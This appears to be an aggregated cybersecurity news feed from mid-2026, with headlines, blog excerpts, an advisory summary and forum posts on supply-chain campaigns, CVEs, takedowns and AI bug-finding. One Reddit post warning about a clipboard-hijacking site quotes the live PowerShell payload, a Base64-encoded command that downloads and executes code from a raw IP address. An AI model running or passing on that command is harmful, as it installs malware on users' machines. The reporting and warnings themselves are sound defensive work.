The North Korean threat actors linked to the Contagious Interview campaign have been observed publishing 108 unique packages and web browser extensions spanning npm, Packagist, Go, and Google Chrome as part of an ongoing activity referred to as PolinRider. "The campaign remains active, and new malicious packages are likely to continue appearing as threat actors compromise maintainer accounts,
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The Federal Bureau of Investigation (FBI) said today it worked with industry partners to seize hundreds of domains associated with NetNut , a sprawling residential proxy service operated by the publicly-traded Israeli company Alarum Technologies [NASDAQ: ALAR]. The action comes roughly two weeks after KrebsOnSecurity published findings from multiple security firms connecting NetNut to the Popa botnet, a collection of at least two million devices that have been compromised by malicious software with little or no consent from victims. The NetNut homepage today was replaced by this seizure banner from the FBI. On June 19, three different security firms issued similar findings : That NetNut is a residential proxy network which populates a botnet called Popa, and distributes software for devices commonly found in homes, such as smart TVs and streaming boxes. NetNut’s software turns those systems into always-on residential proxy nodes that are rented to others, who predominantly use them to relay abusive and intrusive Internet traffic, such as mass content scraping, advertising fraud, and account takeover activity.
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Saturday, July 4
Holiday weekends continue to be attractive for ransomware operators. This roundup tracks several healthcare organizations added to leak sites.
Hello, Some time ago, I made a tool for performing brute-force attacks (for work purposes, as I work as a security tester/pentester). I don't know if I had hands from the wrong place or what, but it was somewhat difficult to use Hydra, which at that time was a top-tier tool for this. So I made my own tool that works like I want it to work. The main idea of the tool is that all configuration goes inside a YAML configuration file. Why, you may ask, because security testing usually goes in this circle: performing -> reporting -> someone fixes -> re-testing. Sometimes the systems we test are similar, sometimes they are complex enough, and saving Hydra commands or sharing them wasn't practical in the long term. Some time ago, I moved to another company where I'm more on the defensive side than on the offensive, so I haven't had much chance to use this tool. So maybe anyone can give some kind of feedback on the code, possible improvements, etc. Repo: [https://github.com/narukoshin/EnRaiJin](https://github.com/narukoshin/EnRaiJin) p.s. For all the AI haters, this code is not vibe coded, as it was created when the AI hype wasn't even a thing. :) Commits lasting years are a good proof for that. Thanks.
Happy 4th! Wrote a quick post today on something I keep thinking about, holidays don't weaken systems, they change how we interact with them. New login locations, mobile dashboards instead of full setups, faster approvals because of someone's waiting, assumed coverage because someone else is watching it. That is where risk quietly creeps in. The 10 AM weekday login vs the 2 AM holiday weekend login from a new location - same action, completely different signal. That's what baseline behavior is actually for. Curious if anyone in the SOC space notices upticks in alerts or incidents around long weekends - would love to hear from people who've seen this firsthand. Full post here if interested: [Datasec Chronicles - 4th of July + Cybersecurity Thoughts ](https://www.datasecchronicles.com/post/saturday-flex-4th-of-july-cybersecurity-thoughts)
A U.S. government entity paid about $1 million to keep stolen files from being leaked, according to a new case study by Rakesh Krishnan for Ransom-ISAC, built on a leaked negotiation chat and the blockchain trail the payment left. The odd part: the group that took the money calls itself Kairos, but it may not be a ransomware gang at all. Krishnan found no sign that it ever locked a single
The North Korean threat actors linked to the Contagious Interview campaign have been observed publishing 108 unique packages and web browser extensions spanning npm, Packagist, Go, and Google Chrome as part of an ongoing activity referred to as PolinRider. "The campaign remains active, and new malicious packages are likely to continue appearing as threat actors compromise maintainer accounts,
Plus: Alleged Scattered Spider hacking member extradited, dozens of license plate reader errors, and Indian officials are concerned about WhatsApp’s username rollout.
For those of us who have worked in SOCs we all know this problem, but I bet you didn't know it had a name!
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I responsibly disclosed 5 vulnerabilities in Ollama and LiteLLM through Huntr - now publicly disclosed after 90 days
Over the past few months, I conducted security research on Ollama and LiteLLM and reported several vulnerabilities through Huntr's coordinated vulnerability disclosure program. Following the standard 90 day disclosure period, the findings have now been publicly disclosed. The research resulted in five reported vulnerabilities. In Ollama, I identified a GGUF String Length Panic vulnerability that could lead to denial of service, as well as an unbounded vocab\_size resource exhaustion issue that could cause excessive memory and CPU consumption. In LiteLLM, I reported a Pass-the-Hash authentication bypass, an SSRF vulnerability through custom guardrails, and a Unicode normalization issue that could lead to sandbox escape scenarios. What stood out during this research was how many impactful security issues originated from areas that are often overlooked in AI infrastructure, including model parsing and conversion pipelines, resource allocation controls, authentication logic, network trust boundaries, and Unicode normalization edge cases. The repositories contain technical details, root cause analyses, proof of concepts, impact assessments, remediation recommendations, and links to the published Huntr disclosures. Ollama research: https://github.com/regaan/ollama-security-research LiteLLM research: https://github.com/regaan/litellm-vulnerability-research All research was conducted and disclosed responsibly. The published material is intended strictly for educational, defensive, and research purposes. I am happy to answer questions about the disclosure process, research methodology, root cause analysis, or AI and LLM security in general.
Friday, July 3
I built an open-source Chromium fork that compiles fingerprint spoofing into the C++ instead of injecting JS
Security firm runZero has disclosed seven vulnerabilities in FatFs, a small filesystem library that lets a device read and write the FAT and exFAT formats used on USB drives and SD cards. The flaws matter because FatFs is nearly everywhere. It ships inside the firmware that runs security cameras, drones, industrial controllers, hardware crypto wallets, and other devices built on
A newly disclosed Linux kernel flaw called Bad Epoll (CVE-2026-46242) lets an ordinary user with no special access take full control of a machine as root. It affects Linux desktops, servers, and Android, and a fix is out. Bad Epoll sits in the same small stretch of kernel code where Anthropic's most powerful AI model, Mythos, recently found a different bug. The AI caught one flaw and missed
Cybersecurity researchers have discovered a previously undocumented modular malware framework codenamed Avalon that's distributed by means of a multi-stage phishing chain capable of bypassing traditional security controls. Avalon combines credential collection, lateral movement, remote access, recovery disruption, and ransomware execution, bringing together diverse functions under one
[they are getting smarter](https://preview.redd.it/d40lwwsmv1bh1.png?width=1407&format=png&auto=webp&s=deb513ded2423277ed3a8437e1d3763dc138d62c) this is what the script copied to my clipboard. funny that this website was opened for the first time, yet chrome gave it clipboard permission. lol iex(\[Text.Encoding\]::ASCII.GetString(\[Convert\]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3QgJ2h0dHA6Ly8xNjYuMS44OS45MS9fLycgLVVzZUJhc2ljUGFyc2luZyB8IEludm9rZS1FeHByZXNzaW9u')))
Most breaches don’t start with a vulnerability nobody knew about. They start with one nobody patched in time. Vulnerability exploitation is now the single biggest way attackers get into a network. It has overtaken stolen credentials for the first time in the 19-year history of Verizon’s Data Breach Investigations Report, with 31% of breaches now […] The post How to scale your patches without scaling your team (the patch wave) appeared first on Heimdal Security Blog .
A previously undocumented threat actor known as Armored Likho has been attributed to cyber attacks targeting government agencies and the electric power sector across Russia, Brazil, and Kazakhstan. "Armored Likho blends financially motivated campaigns targeting private individuals with targeted cyber espionage aimed at organizations," Kaspersky said in a technical analysis published today. "
Claude Mythos, an AI model from Anthropic, has found 23,019 software vulnerabilities in the past month. Fewer than 1% of them have been patched. That gap is the story. Finding a vulnerability used to be the hard part, the thing that limited how fast software got fixed. AI just closed that gap to almost nothing. […] The post AI didn’t break patching. It showed us patching was already broken. appeared first on Heimdal Security Blog .
A new report from the Citizen Lab has revealed that former Member of the European Parliament Stelios Kouloglou had his mobile device repeatedly hacked with the notorious Pegasus spyware while serving on a committee that was tasked with investigating the abuse of such commercial surveillance tools in the bloc. "Through forensic analysis of his device, we found that the attackers could have had
Cybersecurity researchers have flagged a new macOS information stealer called PamStealer that employs a series of clever tricks to infect systems and siphon sensitive data. The stealer, discovered by Jamf Threat Labs, is distributed as a compiled AppleScript (.scpt) file impersonating Maccy, a legitimate open-source clipboard manager. It has been codenamed PamStealer owing to its ability to
I have turned on my mac in the morning and got this message? Facts or Cap? https://preview.redd.it/kb4sv0aewyah1.png?width=1156&format=png&auto=webp&s=c1db885a6f856d112f9bb3918583af5c51a4a64a
Presently sponsored by: Report URI: Guarding you from rogue JavaScript! Don’t get pwned; get real-time alerts & prevent breaches #SecureYourSite I can't recall if someone else originally came up with this saying or if I said it in some off-the-cuff comment and it just propagated, but since it's often attributed back to me , I'll relay it here regardless: Trying to delete yourself from the internet is like trying to take piss out of a swimming pool Depending on the publication, I'll tailor the saying to be either more broadly palatable or more, uh, "Australian", but the sentiment doesn't change: once data spreads on the internet, you can never put a lid on it. This is important in the context of data breaches because it speaks to the immutability of our exposed personal information. It also speaks to the limited practicality of services that promise to erase your data from the internet, and it's the constant outreach from these organisations looking for marketing opportunities on Have I Been Pwned (HIBP) that's prompted me to write this. Let's begin with those services, and because there are so many and I don't want to throw any of them under the bus, I won't name names. I also won't name them because whilst they're rather assertive in their marketing outreach, I do believe they're well-intentioned and I don't want to imply otherwise. And they have a role to play; it's ju
“It is a direct attack on the rule of law,” says one European Parliament member of the new findings from Citizen Lab.
Thursday, July 2
The Federal Bureau of Investigation (FBI) said today it worked with industry partners to seize hundreds of domains associated with NetNut , a sprawling residential proxy service operated by the publicly-traded Israeli company Alarum Technologies [NASDAQ: ALAR]. The action comes roughly two weeks after KrebsOnSecurity published findings from multiple security firms connecting NetNut to the Popa botnet, a collection of at least two million devices that have been compromised by malicious software with little or no consent from victims. The NetNut homepage today was replaced by this seizure banner from the FBI. On June 19, three different security firms issued similar findings : That NetNut is a residential proxy network which populates a botnet called Popa, and distributes software for devices commonly found in homes, such as smart TVs and streaming boxes. NetNut’s software turns those systems into always-on residential proxy nodes that are rented to others, who predominantly use them to relay abusive and intrusive Internet traffic, such as mass content scraping, advertising fraud, and account takeover activity.
Threat actors associated with the Anubis ransomware operation have been observed exploiting the Citrix Bleed 2 (CVE-2025-5777) vulnerability to obtain initial access. "Although tactics differ between affiliates, common patterns emerged in tradecraft through use of legitimate Remote Management and Monitoring (RMM) tooling, credential access, and hands-on-keyboard procedures used for lateral
How we built a procedural engine that learns your real cloud environment, generates decoy environments indistinguishable from production, and converts every attacker interaction into signal. In the myth, Daedalus built the Labyrinth of Knossos so well that he nearly couldn’t escape it himself. The corridors looked real. The paths felt purposeful. And the deeper you went, the harder it became to tell which direction led out. That’s the design constraint we gave ourselves when building Knossos for Praetorian Guard: generate cloud infrastructure so realistic that an attacker who lands inside it doesn’t realize they’ve already lost. Every API call they make, every role they assume, every secret they pull from Parameter Store, all of it is being recorded, scored, and fed back into the system that built the trap. The idea isn’t new. Honeypots have existed for decades. But the gap between a traditional honeypot and what a competent attacker expects to find in a real AWS account is enormous. Drop a single canary token in an otherwise empty VPC and you’ve told the attacker two things: you’re running deception, and there’s nothing interesting here. They pivot, and you’ve burned your one shot. Knossos takes a fundamentally different approach. Rather than scattering individual lures and hoping someone trips
It’s 37oC, And All We Can Think About Is ColdFusion (Adobe ColdFusion Security Bulletin APSB26-68 CVE Bonanza)
We’re back, melting - we’ve tried shouting, screaming, and throwing things at the Sun, and it is just not working. Before we begin our analysis, we want to be clear - given the number of vulnerabilities fixed (and some not mentioned..), we’ve struggled to have confidence in our attribution of “vulnerability specific CVE ID”. We’ve performed some informed, uninformed, random guesses - but as usual, please resist the urge to send us emails explaining how awful/wrong we are. We know some of you can’t resist, so please rest assured that we do read them, print them, and frame our favorites each month. Like the individual who emailed us 5 times to tell us that they were older than Telnet. Given that Telnet is newer than SSH (which we replied to tell you (your follow-up emails were caught by our spam filter, sorry)), we knew you were lying to us. As always, watchTowr clients gain industry-first access to our research days before publication to validate their exposure, accompanied by Active Defense capabilities to autonomously mitigate exposure. This research is a glimpse into the capabilities that power our Preemptive Exposure Management solution and get organizations ahead of inevitable in-the-wild exploitation: the
This week’s security news is mostly about weak spots. Browsers, bots, sandboxes, AI systems, and email flows all show the same problem in different ways. Everything looks normal until someone tests a small gap and finds a way through. This is not one big break. It is small permissions, weak checks, open systems, and normal tools doing things they were allowed to do. That same pattern runs
VU#639124: Multiple local privilege escalation vulnerabilities in Little Orbits GameFirst Anti-Cheat
Overview The GamersFirst Anti-Cheat (GFAC) driver GFAC.sys contains multiple local privilege escalations and denial-of-service vulnerabilities stemming from insecure handling of user-controlled input through a minifilter communication port. A local attacker can abuse these flaws to perform arbitrary kernel memory writes, obtain privilege escalation to SYSTEM, or trigger a system crash. Description GFAC is a proprietary anti-cheat software developed by video game publisher Little Orbit. GFAC includes a kernel-mode driver, GFAC_Sys_x64.sys , that exposes privileged functionality to user-mode applications through a minifilter communication port. Although these low-level interfaces are necessary for the software's operation, vulnerabilities can arise if user-mode access is not properly restricted and validated. CVE-2026-12166 GFAC_Sys_x64.sys contains a NULL pointer dereference condition in its initialization and request handling logic. A local attacker can trigger the vulnerable code path, causing the driver to read or write to a memory address assigned as NULL. Successful exploitation results in a system crash (“blue screen of death”). CVE-2026-12167 The minifilter communication port that GFAC_Sys_x64.sys exposes does not enforce sufficiently restrictive security descriptors. As a result, low-privileged users can establish connections to the driver and access functions intended only for trusted processes. [RM1.1][MB1.2][RM1.3]User access to privileged functions could help an attacker take advantage of other weaknesses in the driver. CVE-2026-12168 GFAC_Sys_x64.sys processes messages received through a minifilter communication
The threat actor known as ToddyCat has been attributed to a new malware called Umbrij that's designed to gain surreptitious access to a victim's email correspondence via the Google API. "In this campaign, the attackers focused their attention on corporate email communications hosted on Gmail, targeting access compromise via APIs," Kaspersky said in a detailed report published this week. "
Identity lifecycle management was architected around a person with an employment record, a manager, and a departure date. AI agents have none of those. As autonomous principals proliferate across enterprise environments, the governance model built for humans develops structural blind spots that traditional IGA tools weren't designed to detect. This guide covers where that model breaks, what it
We’re running Patch the Planet , an ongoing collaboration with OpenAI that pairs Trail of Bits engineers directly with more than 30 open-source projects. Its goal is to front-run a serious problem facing open-source maintainers: highly capable models like GPT-5.5-Cyber will soon create a firehose of bug reports, and OSS maintainers are already spread thin. Our plan is to point OpenAI’s latest models at real codebases, find the security bugs first, work with maintainers to patch them, and find ways to decrease the burden on maintainers in the long run. We’ll publish field reports like this one as the initiative progresses; follow along via the Patch the Planet tag. The expertise barrier that kept bespoke fuzzing campaigns out of reach for most attackers is gone. We watched GPT-5.5-Cyber build in a single day what would have taken weeks for a skilled security researcher : harnesses across a dozen entrypoints, sanitizer and variant builds, seeds, and multiple findings currently undergoing coordinated disclosure. This particular instance focused on zlib , a widely used data format and lossless data compression software library. We pointed GPT-5.5-Cyber at the library and drove it through Codex with the /goal command, asking it to find a specific class of bugs that are critically dangerous in compression libraries. We’ll publish the full harness and findings for inspection once the vulnerabilities are patched and a new release is cut. The lab GPT-5.5-Cyber built in a day We didn’t tell the model how to find these bugs. The obvious first move is to read the source code, but zlib
Security firm Sysdig says it has found what it believes is the first ransomware attack run from start to finish by an AI agent. Its Threat Research Team calls the operator JADEPUFFER and says a large language model handled the whole job: breaking in, stealing credentials, moving deeper into the network, then encrypting and wiping a company's production database. Ransomware has always
Attackers are hiding a data-stealing trojan inside fake exploit code aimed at the people who hunt bugs for a living. The malware, called ChocoPoC, travels in Python proof-of-concept (PoC) repositories on GitHub that claim to exploit hot new CVEs. Run one, and it quietly lifts your saved passwords, browser cookies, and files, then hands the attacker a shell on your machine. YesWeHack and
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday added a high-severity flaw impacting Microsoft SharePoint Server to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The vulnerability, tracked as CVE-2026-45659 (CVSS score: 8.8), is a case of remote code execution arising from the deserialization of untrusted data. The issue
Wednesday, July 1
A teenager accused of belonging to the hacking group Scattered Spider has been extradited from Finland to face U.S. charges of conspiracy, computer intrusion, and fraud, the U.S. Department of Justice announced on July 1. Peter Stokes, 19, a dual U.S. and Estonian citizen, appeared in a Chicago federal court on June 30, where a judge ordered him held in custody. Finnish police
Introduction This blog post addresses the practical implications of Post-Quantum Cryptography (PQC). It examines why waiting for vendors is a high-risk strategy and why organizations must assume ownership of their own quantum-readiness efforts . It also introduces a more effective quantum-readiness playbook : a practical, risk-driven approach aimed at reducing exposure early, rather than relying on the commonly adopted inventory-first model. This is Part 2 of a two-part series and focuses on the practical implications of Post-Quantum Cryptography, including why organizations must take ownership of their own quantum-readiness journey and how a risk-driven approach can support
Today, we are announcing the Cloudflare Monetization Gateway, an engine that will give Cloudflare customers the ability to charge for any asset protected by Cloudflare: web pages, datasets, APIs, or MCP tools. It will provide a single control plane to manage payment policies and access controls across your applications, while also protecting your origin from high payment volumes by handling payment verification and enforcement at the edge. At launch, payments will settle in stablecoins over x402 , the open protocol we are building with a coalition of more than 25 industry leaders via the x402 Foundation . The evolving business model of the web For 30 years, the web has run on a simple economic bargain: trading content for human attention. That attention has been monetized through advertising, subscriptions, and e-commerce. This bargain funded the Internet as we know it. But as agents become the dominant Internet users, the model is breaking. An agent does not look at ads or need to maintain a monthly subscription to all the tools it wants to access. It reads a page or consumes a data feed once, takes what it needs, and moves on. Across the web, AI crawlers already request content anywhere from a hundred to tens of thousands of times for every visitor they send back . This reality demands a new model: usage-based pricing for everything. If attention and e-commerce are moving from websites to AI harnesses and AI-written software, then agents should pay for the inputs they need —
One year ago, we declared Content Independence Day . At the time, we could see what many in the industry were beginning to sense: the fundamental economics of the Internet were shifting. AI adoption was accelerating, publishers were experiencing rapid declines in referral traffic, and AI companies were crawling the web at unprecedented scale, often without clearly declaring intent, and almost always without compensation. We changed the defaults. For all new domains on Cloudflare, AI training crawlers would be blocked by default unless domain owners chose otherwise. We didn't do this to wall off the web. We did it because we believed a healthier ecosystem required transparency, control, scarcity, and ultimately, a market where high-quality content could be valued and exchanged fairly. A year later, that market has emerged. But the transformation of the Internet has happened even faster than we anticipated. In this report, we share key data points that illustrate how quickly the business model of the Internet has shifted – and what this new content market means for publishers and site owners. Part I: The Internet has changed – faster than anyone expected The vertical adoption curve AI is not just another technology cycle. It is a platform shift happening at more than 2x the speed that smartphones were adopted. In just 3.5 years, over 30% of humanity — 2.5 billion active users — has adopted regular use of generative AI. The adoption curve isn't merely steep: it's going vertical.
Search drives most experiences on the web. It's how we get things done, and how nearly everything on the web gets found — the creators, the merchants, the answer to whatever you just typed into a box. For nearly 30 years, that discovery journey ran on a simple bargain: let a search engine crawl your content, and it sends you visitors. You turned those visitors into a business — through ads, subscriptions, or just the audience itself. Being discoverable and getting paid were the same thing. A year ago, on the first Content Independence Day , we drew a line to defend that bargain in the AI era. But a line in the sand was only a first step. Since then, the prevalence of AI search in consumers’ lives has only accelerated as more than 50% of traffic online is non-human . The threat is no longer a handful of training crawlers you can block; it's search itself being rebuilt around AI answers. Today's answer engines read your page and hand the user a summary, so the visit — and the revenue that depended on it — isn’t needed. We see it firsthand, and independent research backs it up: a 2025 Pew Research Center study found that when Google shows an AI summary, users clicked on a traditional search result link just 8% of the time (about half as often as when there's no summary) and clicked a link inside the summary only 1% of the time. That leaves our customers in a bind: opt out of AI and be hard to find, or opt in and deliver significant value to users while seeing increasingly little in return. Our customers want to be found and compensated for the value they provide, and right now they're forced to choose. Today,
One year ago, we declared the first Content Independence Day , and we gave website owners the means to take back control of their content. The deal between crawlers and website owners that had held up for 30 years — we crawl you, and you get referrals — was no longer true. AI was taking everything and sending back nothing, presenting an existential threat to website owners. And so we launched a one-click "Block AI Bots" option, along with a Pay-Per-Crawl marketplace . A lot has changed in a year. Last July, conversations around “AI bots” centered around blocking AI training without compensation, pointing to the win–lose deal where content was used for model training with no value driven back to the website owner. But a desire for more nuance has emerged: Content owners still want to be able to protect their content, and they should be compensated for the original content that they work hard to create, curate, and share. We also know that locking down content isn’t a one-size-fits-all solution; website owners want more options than resorting to “block all automation, every time.” If you run a small site, the problem isn’t just that someone could train models on your content — it's that nobody can find you in the first place. So you have to make a Faustian bargain: either show up in search and let AI train on you, or risk losing discoverability. This unfairly advantages incumbent search providers if they use the same bots for both search and training; and this unfair advantage incentivizes new players to be evasive as they try to close the competitive gap. Now, AI can be anything Today, AI can be in anything. Google search has changed from being sorted by AI to
A researcher found that using Anthropic’s Claude Opus 4.7, he could break into the website of Front Gate—used by every festival from Lollapalooza to Bonnaroo—and freely issue any ticket he chose.
Heimdal Launches MSP Onboarding Wizard to Help Partners Onboard Microsoft CSP Customers in 2 Minutes
COPENHAGEN, Denmark, 1 July 2026 – Heimdal today announced the launch of MSP Onboarding Wizard, a new capability that helps managed service providers onboard Microsoft Cloud Solution Provider (CSP) customers inside the Heimdal platform faster and with less manual work. Built for MSPs managing multiple Microsoft tenants, MSP Onboarding Wizard reduces customer onboarding from around […] The post Heimdal Launches MSP Onboarding Wizard to Help Partners Onboard Microsoft CSP Customers in 2 Minutes appeared first on Heimdal Security Blog .
Original content is the lifeblood of conversations and curiosities. Imagine a world without it: we could find a thousand ways to regurgitate the same material that’s already been created, but we would witness the decline of fresh ideas and arguments. Website owners fuel the ecosystem of ideas, news, and interesting tidbits, but they face the increasingly complex challenge of managing traffic to their websites and being paid for their content. While some bot traffic is clearly malicious, it isn’t always obvious when a particular AI crawler is helping or harming your business. To answer this, site owners need granular, reliable data to differentiate between traffic that provides value, and traffic that strains resources while eroding the foundation of their business model: actual humans consuming their content. At Cloudflare, we hold a core belief: website owners have the right to control access to their content . We want to help website owners maintain their high-quality content and regulate AI traffic. To provide much-needed clarity and help website owners take control, we’re excited to announce the new Attribution Business Insights dashboard — designed with business decision-makers and publishers in mind. The new economics of the Internet For decades, the business model of the Internet relied on a straightforward, unspoken agreement: website owners allowed search engines to crawl their content and, in return, search engines sent readers back to their pages. This symbiotic relationship, where traditional search engines operated with a balanced "crawl-to-referral" ratio, generated the pageviews needed to sustain adverti
Sharing new scenarios and adaptations to play the Datadog expansion pack of Backdoors & Breaches.
Tuesday, June 30
Well, well, well - once again, the cat has dragged us in and spat us out. Today, we find ourselves questioning the reality we sit within. Must it be so predictable, and why us? “But watchTowr, what do you mean?” Well, if you’re here, you likely fit into one of the following categories: A dear reader, A group therapy accomplice A Groundhog Day fan club member Why? Because we once again find ourselves talking about Citrix NetScalers. Yes, that’s right, we’ve found another excuse to create memes and mock promise rings. For those that don’t start violently wretching when the phrase “Citrix NetScaler” is uttered, we have another word to whisper: “CitrixBleed”. As many know, the term CitrixBleed now refers to not a single vulnerability, but an entire class of Memory Disclosure-esque vulnerabilities in Citrix NetScaler devices, many of which have played roles in breaches and incidents in recent memory. For those new to this trauma, the following prior reading may be of interest: How Much More Must We Bleed? - Citrix NetScaler Memory Disclosure (CitrixBleed 2 CVE-2025-5777) Is It CitrixBleed4? Well, No. Is It Good? Also, No. (Citrix NetScaler Memory Leak & RXSS CVE-2025-12101)
Presently sponsored by: Report URI: Guarding you from rogue JavaScript! Don’t get pwned; get real-time alerts & prevent breaches #SecureYourSite How's the view?! Back to business, it's now 8 years ago that Scott and I thought it would be a cool idea to build Why no HTTPS? We used the site to shame companies for not implementing their transport later security property, and to make it a bit of fun, we shamed by country as well. This helped people jump on the bandwagon of giving their respective countries a little "encouragement", and we hope they'll do the same now with Why no Passkeys? Following my infamous phishing incident last year , I registered the domain with the intent of building the successor for the TLS version. However, due to a combination of me having no time and Scott getting very good with Claude Code, he's now stood up this project solo and done a wonderful job of it. Go and check it out, and give those big names from your country a little push.
“Continuous” has become the most stretched word in offensive security. This guide breaks down what continuous penetration testing means, why most of the market doesn’t deliver it, and how Synack’s Sara is bringing always-on, human-validated testing to the enterprise. The post Continuous Penetration Testing: What Security Leaders Need to Know appeared first on Synack .
https://mooofin.github.io/portfolio/blog/s4nct1m0ny.html tuts for ISF from kernel DWARF. for vol as well . loginwindow plaintext credential extraction, Chainbreaker 3DES keychain decryption, and full RE of a Swift dropper using machine Hardware UUID as decryption key , ive tried to make it very less jargon and reader friendly
Post-quantum cryptography is now one pip-install away for the entire Python ecosystem. With funding from the Sovereign Tech Agency , we implemented support for ML-KEM, the NIST-standard key-establishment primitive, and ML-DSA, the NIST-standard digital-signature primitive, in pyca/cryptography . On June 22, 2026, the White House ordered the U.S. government to accelerate its transition to post-quantum cryptography. The order says large-scale quantum computers, especially in adversarial hands, will threaten widely used cryptographic systems, and that attackers may already be collecting encrypted data now so they can decrypt it later. It also sets concrete migration deadlines: high-value and high-impact federal systems must use post-quantum key establishment by December 31, 2030 , and post-quantum digital signatures by December 31, 2031 . And even if you don’t care about quantum resistance, that’s not a problem because quantum resistance isn’t the main benefit of post-quantum crypto. That transition cannot happen only at the policy layer. Every application that signs packages, validates certificates, establishes secure channels, or protects long-lived secrets depends on cryptographic libraries. If those libraries do not expose post-quantum algorithms, the software stack cannot migrate. Almost every Python program that touches cryptography goes through pyca/cryptography . It’s currently the eleventh most-downloaded package on PyPI&l
Monday, June 29
Hundreds of contractors working on a project for Meta pretended to be kids in order to see how other chatbots like Gemini and ChatGPT would respond to high-risk subjects, WIRED found.
Enterprise Tech In, Shell Out (Progress Kemp LoadMaster Uninitialized Heap to Pre-Auth RCE CVE-2026-8037)
Welcome back to another watchTowr Labs blog post. This time, we're looking at Progress Kemp LoadMaster, a load balancer that sits at the edge of a lot of enterprise networks. Edge appliances have a habit of becoming the way in rather than the thing keeping people out, and CVE-2026-8037 keeps that streak alive: a pre-authentication Remote Code Execution vulnerability accessible to anyone who can access the API. So, in probably a predictable turn of events, we're back doing what we do best. As always, watchTowr clients gain industry-first access to our research days before publication to validate their exposure, accompanied by Active Defense capabilities to autonomously mitigate exposure. This research is a glimpse into the capabilities that power our Preemptive Exposure Management solution and get organizations ahead of inevitable in-the-wild exploitation: the watchTowr Platform. What Is A Kemp LoadMaster, and What Is CVE-2026-8037? Produced by Progress (of MoveIT fame), Kemp LoadMaster is a load balancer and application delivery controller (ADC) that distributes incoming network traffic across multiple servers to keep applications available, responsive, and scalable. Typically, beyond basic load balancing, it provides Layer 4 and Layer 7 traffic management, SSL/TLS offloading, content switching, health checking, and a built-in web application firewall (WAF) to protect against common threats. Why would you use it? Well, Progress has us covered here:
Key Takeaways This case was first reported to customers in a threat brief released in July 2025 and in a public flash alert in August 2025 in partnership with Swisscom B2B CSIRT, which observed another intrusion tied to the same campaign. This report contains data from both intrusions. We plan to release a DFIR Labs […] The post From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira appeared first on The DFIR Report .
Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of Mozilla Root Store Policy (MRSP) version 3.1, effective July 1, 2026. While previous policy updates focused heavily on certificate revocation, automation, and operational resilience, MRSP v3.1 focuses on a different challenge: ensuring that Certification Authority (CA) operations are sufficiently transparent, understandable, and auditable. Trust in the Web PKI depends not only on technical requirements, but also on the ability of Mozilla, auditors, and the broader community to understand how CA systems are designed, operated, and assessed. MRSP v3.1 introduces new requirements intended to improve the quality of CA documentation and strengthen independent assurance of the design and effectiveness of controls that protect CA systems. Improving CP/CPS Documentation Certification Practice Statements (CPSes) and combined Certificate Policy / Certification Practice Statement documents (CP/CPSes) are among the most important public documents published by a CA. They describe how a CA conducts its operations and meets industry requirements. Over the years, we have seen significant variation in the quality, structure, and level of detail provided in CP/CPS documentation. Some documents provide extensive implementation detail, while others rely heavily on incorporation by reference or provide only high-level descriptions of CA practices. The revised policy will continue to require conformance with RFC 3647, as modified by applicable CA/Browser Forum requirements. Improvements to section 3.3 in the MRSP will establish clearer expectations regarding the content and quality of CP/CPS documentation. The new requirements emphasize that documentation must be explicit, bounded, auditable, and sufficientl
Europe’s pro-competition proposals could see Google Search and Android systems opened up. The company claims there are serious privacy flaws.
Sunday, June 28
>On June 18, an international police operation seized the servers behind the fake "update your browser" pop-up, the one that has been tricking people into installing malware since 2017. They took down 106 servers and domains and scrubbed the malware off 14,971 hacked websites. >Dutch police, who led the operation, say the login details for 1.4 million websites were exposed in the process. The breach-notification service [Have I Been Pwned](https://haveibeenpwned.com/?ref=freshfromcache.com) was handed 154,000 email addresses and more than half a million passwords from the haul. Canada's federal police disinfected 2,488 computers and notified every Canadian victim they could identify. >The Netherlands, the FBI, Germany, and Canada ran it together with Europol behind them, as part of an ongoing campaign called Operation Endgame that has spent two years knocking out malware services hundreds of servers at a time. >SocGholish is tied to Evil Corp (yes, that's really their name), a Russian group that law enforcement knows well. The US, UK, and Australia have all sanctioned Evil Corp. Its alleged leader, Maksim Yakubets, carries a $5 million FBI bounty and is believed to have worked with Russian intelligence.